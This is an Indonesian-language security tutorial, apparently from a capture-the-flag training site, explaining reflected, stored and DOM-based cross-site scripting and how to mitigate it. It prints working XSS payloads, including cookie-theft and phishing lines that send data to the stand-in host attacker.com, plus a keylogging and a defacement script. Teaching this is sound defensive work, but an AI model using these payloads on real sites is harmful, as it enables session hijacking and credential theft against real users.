TDCTF Academy Logo TDCTF ACADEMY

Cross-Site Scripting (XSS)

Pendahuluan

Cross-Site Scripting (XSS) adalah kerentanan keamanan yang memungkinkan penyerang menyisipkan skrip berbahaya (biasanya JavaScript) ke dalam halaman web yang dilihat oleh pengguna lain. XSS terjadi ketika aplikasi web menampilkan input pengguna tanpa sanitasi atau encoding yang tepat, sehingga skrip berbahaya dieksekusi di browser korban.

Tipe-Tipe XSS

1. Reflected XSS (Non-Persistent)

Skrip jahat disisipkan melalui permintaan HTTP (biasanya parameter URL, query string, atau form input) dan langsung direfleksikan oleh server dalam respons halaman.

Cara Kerja: Penyerang mengirimkan link berbahaya ke korban. Ketika korban mengklik link tersebut, skrip dieksekusi di browser korban.

Contoh payload:

<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(document.cookie)>

Pada URL seperti http://target.com/search?q=<script>alert(document.cookie)</script>, jika server langsung menampilkan q dalam halaman hasil pencarian tanpa encoding, skrip akan dieksekusi.

2. Stored XSS (Persistent)

Skrip jahat disimpan secara permanen di server (database, forum, komentar, profil pengguna) dan dieksekusi ketika pengguna lain mengakses halaman yang menampilkan data tersebut.

Cara Kerja: Penyerang mengirimkan konten berbahaya yang disimpan server. Setiap pengguna yang melihat halaman akan mengeksekusi skrip tanpa perlu berinteraksi dengan link khusus.

Contoh payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Payload di atas dapat disisipkan di kolom komentar, nama profil, atau field input lain yang datanya akan ditampilkan kembali kepada pengguna lain.

3. DOM-Based XSS

Kerentanan terjadi sepenuhnya di sisi klien. Skrip berbahaya tidak dikirim ke server - seluruh eksploitasi terjadi dalam DOM (Document Object Model) melalui JavaScript yang sudah ada di halaman.

Cara Kerja: JavaScript di halaman mengambil data dari sumber yang tidak aman (seperti location.hash, document.URL, window.name) dan memasukkannya ke dalam DOM tanpa validasi.

Contoh:

var name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = name;
// Jika URL: page.html#<img src=x onerror=alert(1)>
// Maka skrip akan dieksekusi

Contoh Payload XSS

Tujuan Payload
Alert <script>alert(1)</script>
Cookie Theft <img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
Keylogging <script>document.onkeypress=function(e){fetch('/log?k='+e.key)}</script>
Defacement <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Phishing <script>document.getElementById('login-form').action='http://attacker.com/steal'</script>

Dampak XSS

  • Session Theft: Mencuri cookie sesi untuk membajak akun korban (document.cookie).
  • Keylogging: Merekam setiap tombol yang ditekan korban.
  • Defacement: Mengubah tampilan halaman web.
  • Phishing: Menampilkan form login palsu untuk mencuri kredensial.
  • Malware Distribution: Menyebarkan malware melalui drive-by download.
  • CSRF Bypass: Melakukan aksi atas nama korban tanpa sepengetahuannya.
  • Port Scanning: Melakukan scanning jaringan internal korban.

Mitigasi

  1. Output Encoding: Encode data sebelum ditampilkan di halaman. Gunakan fungsi seperti htmlspecialchars() di PHP, escapeHtml() di Java, atau template engine auto-escaping (Jinja2, React JSX).

    • Context HTML Body: encode & < > " ' menjadi &amp; &lt; &gt; &quot; &#x27;
    • Context HTML Attribute: encode tambahan untuk spasi dan karakter khusus
    • Context JavaScript: encode Unicode/hex escape
    • Context URL: URL encoding
  2. Content Security Policy (CSP): Header HTTP yang membatasi sumber daya yang dapat dimuat halaman.

    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

    CSP mencegah eksekusi skrip inline dan hanya mengizinkan skrip dari sumber terpercaya.

  3. HttpOnly Cookies: Set flag HttpOnly pada cookie sesi sehingga tidak dapat diakses melalui JavaScript (document.cookie).

    Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
  4. Input Sanitization: Gunakan library sanitasi seperti DOMPurify untuk membersihkan input HTML. Terapkan allowlist tag dan atribut yang diizinkan, bukan blocklist.

  5. Validasi Input: Validasi tipe data, panjang, format, dan range di sisi server.

  6. X-XSS-Protection Header: Meskipun sudah tidak direkomendasikan, header ini masih didukung beberapa browser.

Kesimpulan

XSS adalah kerentanan serius yang dapat berdampak luas pada pengguna aplikasi web. Strategi pertahanan berlapis - output encoding, CSP, HttpOnly cookies, dan input sanitization - adalah pendekatan terbaik untuk memitigasi risiko XSS. Jangan pernah percaya input pengguna, dan selalu encode output sesuai konteksnya.

PADA HALAMAN INI